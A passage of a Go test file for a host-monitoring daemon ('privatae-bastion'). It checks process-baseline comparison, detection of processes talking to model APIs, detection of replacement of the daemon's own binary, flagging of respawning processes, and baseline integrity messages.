if len(entries[0].Endpoints) != 1 || entries[0].Endpoints[0] != "api.openai.com" {
t.Fatalf("the accounting recorded %v — the endpoint belonged to the SECOND pid and "+
"was dropped, so the next delta reports it as newly appeared on an "+
"unchanged machine", entries[0].Endpoints)
}
// Which is exactly what the live side would build from the same input.
live, _, _ := deltaCollectLiveFrom(obs, func(string) (string, string) { return "d", "" })
if len(live) != 1 || len(live[0].Entry.Endpoints) != 1 {
t.Fatalf("the live side built %+v", live)
}
if evs := deltaCompare(entries, live); len(evs) != 0 {
t.Fatalf("the same machine compared against itself produced %d events: %+v", len(evs), evs)
}
}
// THE MODEL ENDPOINT REACHES THE WALK AT ALL. The unfiltered /proc walk carries
// pid, user, argv, exe, unit and parent and no endpoints; only the observe
// plane resolves those. So on Linux — the one platform WITH the full walk —
// both sides of every comparison held an empty list and the two rules that rest
// on it could never fire.
func TestTheWalkCarriesTheModelEndpointsItIsJudgedOn(t *testing.T) {
obs := []agentObs{{PID: 41, User: "user", Cmdline: "python3 agent.py"}}
got := baselineAttachEndpoints(obs, map[int][]string{41: {"api.anthropic.com"}})
if len(got[0].LLMEndpoints) != 1 {
t.Fatal("the join dropped the endpoint, so every level that depends on one is dead")
}
// And on this machine, for real: whatever the observe plane can see, the
// walk the delta is built from must also see.
seen := map[int][]string{}
agentsNow, err := scanAgents()
if err != nil {
t.Fatal(err)
}
for _, a := range agentsNow {
if len(a.LLMEndpoints) > 0 {
seen[a.PID] = a.LLMEndpoints
}
}
if len(seen) == 0 {
t.Skip("nothing on this box is talking to a model right now")
}
walked, complete, err := baselineWalk()
if err != nil {
t.Fatal(err)
}
if !complete {
t.Skip("this platform has no unfiltered walk, so there is nothing to enrich")
}
found := 0
for _, a := range walked {
if _, ok := seen[a.PID]; ok && len(a.LLMEndpoints) > 0 {
found++
}
}
if found == 0 {
t.Fatalf("the observe plane sees %d processes talking to a model and the walk the "+
"delta compares carries none of them", len(seen))
}
}
// THE DAEMON READS ITS BINARY FROM DISK. selfDigest() is a sync.Once frozen at
// process start (enforcing.go:35-38), so a long-running daemon compared its own
// startup digest for ever and could never observe its binary being replaced —
// the one process in a position to notice, unable to.
func TestTheBastionBinaryIsReadFromDiskAndNotFromAFrozenDigest(t *testing.T) {
p := filepath.Join(t.TempDir(), "privatae-bastion")
if err := os.WriteFile(p, []byte("version one"), 0o755); err != nil {
t.Fatal(err)
}
old := deltaSelfPath
deltaSelfPath = p
t.Cleanup(func() { deltaSelfPath = old })
dc := &digestCache{}
before := deltaSelfOnDisk(dc)
if before == "" {
t.Fatal("the binary was not digested at all")
}
// Replaced the way replaceSelf does it: the old one moved aside, a new one
// written at the same path (update.go:160-169).
if err := os.Rename(p, p+".old"); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(p, []byte("version two"), 0o755); err != nil {
t.Fatal(err)
}
after := deltaSelfOnDisk(dc)
if after == before {
t.Fatal("the bastion read the same digest after its binary was replaced under it. " +
"A frozen digest, or one taken from /proc/self/exe — which follows the inode " +
"to the file that was moved ASIDE — both read like this.")
}
}
// ONE PASS PER BOX, NOT ONE PER PAIRING. run.go starts a refresher beside every
// heartbeat, so a box serving three hosts ran three full passes a minute and
// three read-modify-writers of one state file — and whether a 40-second process
// was counted or reported depended on how many hosts the box served.
func TestASecondRefresherDoesNotRunItsOwnPass(t *testing.T) {
deltaMu.Lock()
oldLast, oldAt, oldRan := deltaLast, deltaAt, deltaRan
deltaLast, deltaAt, deltaRan = &deltaSummary{Baseline: "sentinel"}, time.Now(), true
deltaMu.Unlock()
t.Cleanup(func() {
deltaMu.Lock()
deltaLast, deltaAt, deltaRan = oldLast, oldAt, oldRan
deltaMu.Unlock()
})
refreshDelta()
deltaMu.Lock()
got := deltaLast.Baseline
deltaMu.Unlock()
if got != "sentinel" {
t.Fatalf("the second refresher ran its own pass (published %q). N pairings would "+
"mean N passes a minute over one state file.", got)
}
}
// SOMETHING THAT IS ALWAYS YOUNG IS A PATTERN, NOT SHORT-LIVED WORK. A
// respawner — a crash-looping unit, a beacon relaunched every few seconds — was
// young at every pass, so it was re-held at every pass and, being seen each
// time, never settled into the short-lived count either: no finding, and a
// storm counter reading zero.
func TestARespawnerStopsBeingHeldAndBecomesAFinding(t *testing.T) {
st := freshState(t)
ev := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{7},
Entry: procEntry("aaaa", "user", "interactive", "beacon")}
n := deltaNoise{Self: 1, Parents: map[int]int{7: 2}, Sockets: true,
Age: func(int) (time.Duration, bool) { return time.Second, true }}
start := time.Now()
for i := 0; i < 4; i++ {
findings, _ := deltaFilter([]deltaEvent{ev}, n, st, start.Add(time.Duration(i)*time.Minute))
if len(findings) != 0 {
t.Fatalf("pass %d reported it before the hold ceiling", i)
}
}
findings, _ := deltaFilter([]deltaEvent{ev}, n, st, start.Add(deltaHoldMax+time.Minute))
if len(findings) != 1 {
t.Fatal("a process that has been 'about to go away' for longer than the ceiling " +
"is still being held. It is never counted either, because it is seen every pass.")
}
var said bool
for _, e := range findings[0].Evidence {
if e.Signal == "respawning" {
said = true
}
}
if !said {
t.Error("the finding does not say WHY it arrived late — that it kept coming back")
}
}
// THE WIRING OF THE BASTION-BINARY RUNG, DRIVEN THROUGH A REAL PASS.
//
// The two unit tests above hold deltaSelfOnDisk and deltaBinaryEvent in
// isolation, and a mutation that pointed deltaPass back at selfDigest() — or
// back at the accounting's frozen version — passed both of them. That is the
// defect shape this whole plane keeps being caught by: the claim asserted at a
// layer nothing wires to. So this drives the pass itself, three times, and
// watches the rung move.
func TestThePassReadsTheBinaryFromDiskAndRemembersWhatItSaw(t *testing.T) {
if !processIsRoot() {
t.Skip("a pass needs machine authority, which is its own test")
}
isolateConfigDir(t)
fixture := filepath.Join(t.TempDir(), "privatae-bastion")
writeBinary := func(body string) string {
t.Helper()
if _, err := os.Stat(fixture); err == nil {
// Replaced the way replaceSelf does it (update.go:160-169).
if err := os.Rename(fixture, fixture+".old"); err != nil {
t.Fatal(err)
}
}
if err := os.WriteFile(fixture, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
d, _ := baselineExeDigest(fixture)
return d
}
oldPath, oldVersion := deltaSelfPath, clientVersion
deltaSelfPath = fixture
t.Cleanup(func() { deltaSelfPath, clientVersion = oldPath, oldVersion })
// An accounting taken by 0.27.0, with that binary on disk.
clientVersion = "0.27.0"
first := writeBinary("version one")
base, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
base.BastionDigest, base.BastionVersion = first, "0.27.0"
if err := baselineSave(base); err != nil {
t.Fatal(err)
}
binaryEvent := func(r deltaReport) *deltaEvent {
for i := range r.Findings {
if r.Findings[i].Kind == deltaBinaryChanged {
return &r.Findings[i]
}
}
return nil
}
dc := &digestCache{}
if ev := binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon)); ev != nil {
t.Fatalf("an unchanged binary produced %+v", ev)
}
// The fleet update: new binary, new version.
writeBinary("version two")
clientVersion = "0.28.0"
ev := binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon))
if ev == nil {
t.Fatal("the bastion's binary was replaced on disk and the pass did not notice. " +
"selfDigest() is frozen at process start, so a pass that asks IT can never see this.")
}
if ev.Level != deltaHigh {
t.Fatalf("the update levelled %q, want high", ev.Level)
}
// And now the swap: new binary, SAME version, after that update.
writeBinary("version three")
ev = binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon))
if ev == nil {
t.Fatal("the second replacement was not noticed at all")
}
if ev.Level != deltaCritical {
t.Fatalf("a binary replaced under an unchanged version, after an earlier update, "+
"levelled %q — want critical. Compared against the ACCOUNTING's version this "+
"reads as one more update for ever, because nothing retakes the accounting "+
"when the bastion updates itself.", ev.Level)
}
// A FOURTH PASS, WHICH IS WHERE THE DEFECT LIVED. Advancing the remembered
// pair after reporting a swap makes the swapped binary the new normal, so
// the critical appears for exactly one beat — into a summary the host does
// not store — and an operator running observe:delta an hour later is told
// the machine is clean. A finding this severe is pinned until a human
// resolves it, which here means retaking the accounting.
ev = binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon))
if ev == nil {
t.Fatal("the swap was reported once and then absorbed. The pass that reports it " +
"must not record the swapped binary as what the machine last saw.")
}
if ev.Level != deltaCritical {
t.Fatalf("the repeat levelled %q, want critical", ev.Level)
}
// And the UPDATE is not repeated, which is the other half of the same rule:
// a legitimate new version becomes the new normal exactly once.
writeBinary("version four")
clientVersion = "0.29.0"
if ev = binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon)); ev == nil || ev.Level != deltaHigh {
t.Fatalf("the second update levelled %+v, want high", ev)
}
if ev = binaryEvent(deltaPass(dc, time.Now(), deltaRoleDaemon)); ev != nil {
t.Fatalf("the update was reported again on the next pass: %+v", ev)
}
}
// THE SEED FROM THE ACCOUNTING IS WHAT COVERS THE FIRST PASS — on a fresh
// install, after a retake, after a corrupt state file. Nothing held it: deleting
// the seed left the whole suite green, and without it
// the first pass is blind to a swap that happened before it ran.
func TestTheFirstPassComparesAgainstTheAccounting(t *testing.T) {
if !processIsRoot() {
t.Skip("a pass needs machine authority, which is its own test")
}
isolateConfigDir(t)
fixture := filepath.Join(t.TempDir(), "privatae-bastion")
if err := os.WriteFile(fixture, []byte("the one that is here now"), 0o755); err != nil {
t.Fatal(err)
}
oldPath, oldVersion := deltaSelfPath, clientVersion
deltaSelfPath, clientVersion = fixture, "0.27.0"
t.Cleanup(func() { deltaSelfPath, clientVersion = oldPath, oldVersion })
// The accounting recorded a DIFFERENT binary under this same version — the
// swap happened before this process ever ran a pass.
base, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
base.BastionDigest, base.BastionVersion = "a-different-binary-entirely", "0.27.0"
if err := baselineSave(base); err != nil {
t.Fatal(err)
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleDaemon)
found := false
for _, ev := range r.Findings {
if ev.Kind == deltaBinaryChanged {
found = true
if ev.Level != deltaCritical {
t.Errorf("levelled %q, want critical", ev.Level)
}
}
}
if !found {
t.Fatal("with no prior pass to compare against, the accounting's record is the " +
"only thing that can catch this, and it was not consulted")
}
}
// AN OPERATOR'S OWN COMMAND MUST NOT POISON THE DAEMON'S BOOKKEEPING. Running
// observe:delta from a copy of the binary somewhere else would otherwise record
// THAT copy as what the machine last saw, and the daemon's next pass reports a
// swap that never happened.
func TestAnOperatorPassDoesNotRewriteWhatTheMachineLastSaw(t *testing.T) {
if !processIsRoot() {
t.Skip("a pass needs machine authority, which is its own test")
}
isolateConfigDir(t)
fixture := filepath.Join(t.TempDir(), "some-other-copy")
if err := os.WriteFile(fixture, []byte("a developer's build"), 0o755); err != nil {
t.Fatal(err)
}
oldPath, oldVersion := deltaSelfPath, clientVersion
deltaSelfPath, clientVersion = fixture, "0.27.0"
t.Cleanup(func() { deltaSelfPath, clientVersion = oldPath, oldVersion })
// The accounting records THIS copy, so the pass finds nothing to report —
// which is precisely the case where a daemon pass advances the remembered
// pair. If the role is ignored, this is where the operator's copy gets
// written down as what the machine last saw.
mine, _ := baselineExeDigest(fixture)
base, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
base.BastionDigest, base.BastionVersion = mine, "0.27.0"
if err := baselineSave(base); err != nil {
t.Fatal(err)
}
// THE KEY THE STATE IS FILED UNDER IS THE SAVED FILE'S DIGEST, not the one
// on the struct that was handed to baselineSave — that function digests its
// own copy. Reading it back is the difference between this test checking
// something and this test always passing.
saved, _, err := baselineLoad()
if err != nil {
t.Fatal(err)
}
if st := deltaStateLoad(saved.Digest); st.BastionDigest != "" {
t.Fatalf("the fixture state was not empty to begin with: %q", st.BastionDigest)
}
deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
if st := deltaStateLoad(saved.Digest); st.BastionDigest != "" {
t.Fatalf("an operator pass wrote %q into the shared state as what the machine "+
"last saw. Run from a copy of the binary somewhere else, that is a swap the "+
"daemon reports on its next pass and nobody made.", st.BastionDigest)
}
// And the daemon in the same position DOES advance — otherwise this test
// would pass against a pass that never writes anything at all.
deltaPass(&digestCache{}, time.Now(), deltaRoleDaemon)
if st := deltaStateLoad(saved.Digest); st.BastionDigest != mine {
t.Fatalf("the daemon's pass recorded %q, want the binary it actually has", st.BastionDigest)
}
}
// A v1 ACCOUNTING CANNOT BE COMPARED, because its entries mean something
// different: on Linux it holds no model endpoints for anything, while a walk
// now does. The fingerprints still match, so nothing else would have caught it
// — every known process talking to a model would report proc_changed
// [llm_endpoint] at high until somebody retook it.
func TestTheAccountingVersionMovedWithItsMeaning(t *testing.T) {
dir := isolateConfigDir(t)
if !processIsRoot() {
t.Skip("a pass needs machine authority, which is its own test")
}
if baselineVersion == "privatae-baseline-v1" {
t.Fatal("the endpoint join changed what an entry MEANS without moving the version, " +
"so a baseline taken before it compares as a page of model-endpoint findings")
}
if err := os.MkdirAll(dir, 0o700); err != nil {
t.Fatal(err)
}
old := baselineFile{Version: "privatae-baseline-v1", TakenAt: "2026-09-14T23:51:04Z",
Coverage: "processes=all,schedulers=all",
Entries: []baselineEntry{procEntry("aaaa", "root", "svc", "python3 x.py")}}
if err := baselineSave(old); err != nil {
t.Fatal(err)
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
if r.Baseline != deltaBaselineStale {
t.Fatalf("a v1 accounting read as %q, want %q", r.Baseline, deltaBaselineStale)
}
if len(r.Findings) != 0 {
t.Fatalf("it produced %d findings against an accounting it cannot compare with", len(r.Findings))
}
}
// TWO BASELINE ENTRIES AT ONE SLOT, AND ONE OF THEM UPGRADES. Keeping only the
// first entry per slot made the answer depend on which of them sorted first:
// the upgraded one either read as a replacement or as an unrelated new program
// with the untrue line "neither this program nor anything in its place was in
// the accounting", while its predecessor was separately reported gone. A hash
// order was choosing between two different sentences.
func TestAnUpgradeAtASharedSlotIsAReplacementWhicheverWaySorted(t *testing.T) {
a := procEntry("aaaa", "root", "web.service", "python3 x.py") // system python
b := procEntry("bbbb", "root", "web.service", "python3 x.py") // a second one
upgraded := procEntry("cccc", "root", "web.service", "python3 x.py")
for _, order := range [][]baselineEntry{{a, b}, {b, a}} {
// a is still running; b has been upgraded to `upgraded`.
evs := deltaCompare(order, []deltaLiveEntry{liveOf(a, 1), liveOf(upgraded, 2)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("order %v: got %+v", []string{order[0].ExeDigest, order[1].ExeDigest}, evs)
}
if changed[0].Was == nil || changed[0].Was.FP != b.FP {
t.Errorf("the replacement names the wrong predecessor: %+v", changed[0].Was)
}
if n := len(eventsOfKind(evs, deltaProcNew)); n != 0 {
t.Errorf("order %v: %d proc_new as well", []string{order[0].ExeDigest, order[1].ExeDigest}, n)
}
if n := len(eventsOfKind(evs, deltaProcGone)); n != 0 {
t.Errorf("order %v: %d proc_gone as well", []string{order[0].ExeDigest, order[1].ExeDigest}, n)
}
}
}
// A BINARY REPLACED AND THEN UNLINKED IS THE MOST DELIBERATE VERSION OF THIS,
// and it digested as empty — the exe path reads " (deleted)", which is stripped,
// and the stat then fails — so it came out as a visibility notice. The
// unreadable shortcut now sits BELOW the endpoint check.
func TestAReplacedBinaryThatWasUnlinkedIsNotJustAVisibilityNotice(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "node server.js")
gone := procEntry("", "root", "web.service", "node server.js")
gone.DigestNote = "could not be read by this account"
gone.Endpoints = []string{"api.openai.com"}
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(gone, 3)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("got %+v", evs)
}
if got := deltaLevel(changed[0]); got != deltaHigh {
t.Fatalf("a binary replaced at a known post, unlinked, and talking to a model "+
"levelled %q — want high. An unreadable digest is a visibility change only "+
"when there is nothing else on the event.", got)
}
// With nothing else on it, it is still a notice.
plain := changed[0]
plain.Added, plain.Entry.Endpoints, plain.Entry.Signature = nil, nil, ""
if got := deltaLevel(plain); got != deltaNotice {
t.Errorf("an unreadable digest with nothing else on it levelled %q, want notice", got)
}
}
// A PACKAGED UPGRADE OF A SERVICE THAT ALREADY TALKED TO A MODEL IS AN APT
// UPGRADE. Levelling on "has endpoints" rather than "gained endpoints" made
// every one of those high, which is the noise the tier exists to remove.
func TestAPackagedUpgradeOfAModelTalkingServiceIsNotHighOnItsOwn(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "node server.js")
was.Endpoints = []string{"api.openai.com"}
now := procEntry("bbbb", "root", "web.service", "node server.js")
now.Endpoints = []string{"api.openai.com"} // the same one, still
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 4)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("got %+v", evs)
}
ev := changed[0]
if len(ev.Added) != 0 {
t.Fatalf("an unchanged endpoint list was reported as added: %v", ev.Added)
}
ev.Tier = tierKnown // the distribution shipped the new binary
if got := deltaLevel(ev); got != deltaNotice {
t.Errorf("a packaged upgrade of a service whose model endpoint did not change "+
"levelled %q, want notice", got)
}
// Unpackaged, the same replacement is still high.
ev.Tier = ""
if got := deltaLevel(ev); got != deltaHigh {
t.Errorf("an unexplained replacement levelled %q, want high", got)
}
}
// THE REFRESHERS ARRIVE TOGETHER, because run.go starts every pairing in one
// loop and each calls refreshDelta immediately. A freshness check alone lets
// all of them past — none has finished yet — so a three-host box ran three
// concurrent walks of the machine and three writers of one state file.
func TestRefreshersThatStartTogetherRunOnePass(t *testing.T) {
// Isolated because the mutation this test exists to kill makes it run a REAL
// pass — which would write this machine's own delta-state.json, as root,
// from a test. A test that only misbehaves when
// it is doing its job is still a test that misbehaves.
isolateConfigDir(t)
deltaMu.Lock()
oldLast, oldAt, oldRan, oldRunning := deltaLast, deltaAt, deltaRan, deltaRunning
deltaLast, deltaAt, deltaRan, deltaRunning = nil, time.Time{}, false, true
deltaMu.Unlock()
t.Cleanup(func() {
deltaMu.Lock()
deltaLast, deltaAt, deltaRan, deltaRunning = oldLast, oldAt, oldRan, oldRunning
deltaMu.Unlock()
})
// A pass is in flight. Every other refresher must return at once rather
// than starting its own — the freshness check cannot help, because nothing
// has been published yet.
done := make(chan struct{})
go func() { refreshDelta(); close(done) }()
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("a second refresher started its own pass while one was already running")
}
deltaMu.Lock()
published := deltaLast
deltaMu.Unlock()
if published != nil {
t.Fatal("the second refresher published a result of its own")
}
}
// A v1 ACCOUNTING HAS NOT BEEN EDITED, and both places that report on a
// baseline's integrity said it had. baselineDigestOf prefixes with the CURRENT
// version constant, so every file taken under older rules recomputes to a
// different digest — which after the v2 bump would have read as tampering on
// every machine holding one, in the one place a person goes to check exactly
// that.
func TestAnAccountingFromOlderRulesIsNotCalledTamperedWith(t *testing.T) {
old := &baselineFile{Version: "privatae-baseline-v1", TakenAt: "2026-09-14T23:51:04Z"}
note := baselineIntegrityNote(old, false)
if note == "" {
t.Fatal("a v1 accounting produced no note at all")
}
if strings.Contains(note, "has been changed since it was taken") {
t.Errorf("the note accuses somebody of editing it: %q", note)
}
if !strings.Contains(note, "NOT evidence") {
t.Errorf("the note does not rule out tampering, which is the whole reason it "+
"exists — a person reading it still has to wonder: %q", note)
}
if !strings.Contains(note, "taken again") {
t.Errorf("the note does not say what to do about it: %q", note)
}
// A file under the CURRENT rules whose digest does not match HAS been
// edited, and must still say so — that is the whole point of the digest.
cur := &baselineFile{Version: baselineVersion, TakenAt: "2026-09-15T00:00:00Z"}
if note := baselineIntegrityNote(cur, false); !strings.Contains(note, "changed since it was taken") {
t.Errorf("a tampered file under the current rules reads %q", note)
}
if note := baselineIntegrityNote(cur, true); note != "" {
t.Errorf("an intact file produced a warning: %q", note)
}
}
// A BASTION THAT CANNOT READ ITS OWN BINARY MUST NOT READ LIKE ONE THAT
// CHECKED. An empty digest produces no event, and silence is indistinguishable
// from "checked, unchanged" — the same quiet-versus-blind rule this plane
// applies to the accounting.
func TestABastionThatCannotReadItsOwnBinarySaysSo(t *testing.T) {
if !processIsRoot() {
t.Skip("a pass needs machine authority, which is its own test")
}
isolateConfigDir(t)
oldPath := deltaSelfPath
deltaSelfPath = filepath.Join(t.TempDir(), "not-here")
t.Cleanup(func() { deltaSelfPath = oldPath })
base, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
base.BastionDigest, base.BastionVersion = "something-was-recorded", "0.27.0"
if err := baselineSave(base); err != nil {
t.Fatal(err)
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleDaemon)
for _, ev := range r.Findings {
if ev.Kind == deltaBinaryChanged {
t.Fatalf("an unreadable binary produced a change event: %+v", ev)
}
}
if !strings.Contains(strings.Join(r.Notes, " "), "could not read its own binary") {
t.Fatalf("the pass reported nothing about its own binary and said nothing about "+
"why. That reads exactly like 'checked, unchanged': %v", r.Notes)
}
}
// AND BOTH COMMANDS THAT REPORT ON IT ACTUALLY USE THAT SENTENCE. The note
// being right is worth nothing if the two places a person reads it compose
// their own — which is how the pair drifted apart in the first place. Rewriting
// either one to print its own wording leaves this red.
func TestBothBaselineCommandsSayTheRulesMovedRatherThanTampering(t *testing.T) {
isolateConfigDir(t)
writeV1Accounting(t)
// `observe:baseline:show` prints it.
r, w, err := os.Pipe()
if err != nil {
t.Fatal(err)
}
stdout := os.Stdout
os.Stdout = w
showErr := cmdObserveBaselineShow()
os.Stdout = stdout
_ = w.Close()
var buf strings.Builder
if _, err := io.Copy(&buf, r); err != nil {
t.Fatal(err)
}
if showErr != nil {
t.Fatal(showErr)
}
shown := buf.String()
if strings.Contains(shown, "has been changed since it was taken") {
t.Errorf("observe:baseline:show tells the person their accounting was tampered "+
"with when the version constant is what moved:\n%s", shown)
}
if !strings.Contains(shown, "taken again") {
t.Errorf("observe:baseline:show does not say what to do:\n%s", shown)
}
// `observe:baseline` without --force refuses, and names the same state.
if !processIsRoot() {
return // the take path needs machine authority; the show half stands alone
}
takeErr := cmdObserveBaseline(false)
if takeErr == nil {
t.Fatal("taking a second accounting without --force was allowed")
}
if strings.Contains(takeErr.Error(), "has been changed since it was taken") {
t.Errorf("observe:baseline accuses somebody of editing it: %v", takeErr)
}
if !strings.Contains(takeErr.Error(), "taken again") {
t.Errorf("observe:baseline does not say the rules moved: %v", takeErr)
}
}
// AND IT DOES NOT CRASH ON THE FILE IT EXISTS TO INSPECT. `observe:baseline:show`
// truncated every digest to twelve characters, which a real sha256 always
// survives and a hand-edited or truncated file does not — so the one command
// for looking at an accounting you suspect has been tampered with panicked on
// exactly that accounting. Found by the test above, written for something else.
func TestShowingATruncatedAccountingDoesNotCrash(t *testing.T) {
isolateConfigDir(t)
f := baselineFile{Version: baselineVersion, TakenAt: "2026-09-15T00:00:00Z",
Coverage: "processes=all,schedulers=all", Entries: []baselineEntry{
procEntry("aa", "root", "svc", "short"),
procEntry("", "root", "svc", "none"),
procEntry(strings.Repeat("f", 64), "root", "svc", "full"),
}}
if err := baselineSave(f); err != nil {
t.Fatal(err)
}
if err := cmdObserveBaselineShow(); err != nil {
t.Fatalf("showing an accounting with a short digest failed: %v", err)
}
}
// writeV1Accounting writes an accounting the way a v1 BINARY would have: its
// digest computed under the v1 constant, so it is intact by its own rules and
// mismatched by ours. baselineSave cannot make this fixture — it re-digests
// under the current constant, which produces a file no v1 bastion ever wrote
// and which reads as perfectly intact.
func writeV1Accounting(t *testing.T) {
t.Helper()
const v1 = "privatae-baseline-v1"
f := baselineFile{Version: v1, TakenAt: "2026-09-14T23:51:04Z",
Coverage: "processes=all,schedulers=all",
Entries: []baselineEntry{procEntry("aaaa", "root", "svc", "thing")}}
b, err := json.Marshal(f)
if err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(append([]byte(v1+"\x00"), b...))
f.Digest = hex.EncodeToString(sum[:])
out, err := json.MarshalIndent(f, "", " ")
if err != nil {
t.Fatal(err)
}
p, err := baselinePath()
if err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(p, out, 0o600); err != nil {
t.Fatal(err)
}
// It must be intact under ITS OWN rules and mismatched under ours, or this
// fixture is not the situation being tested.
got, ok, err := baselineLoad()
if err != nil {
t.Fatal(err)
}
if ok {
t.Fatal("the v1 fixture reads as digest-intact under v2, so nothing below is " +
"exercising the note at all")
}
if got.Version != v1 {
t.Fatalf("fixture version is %q", got.Version)
}
}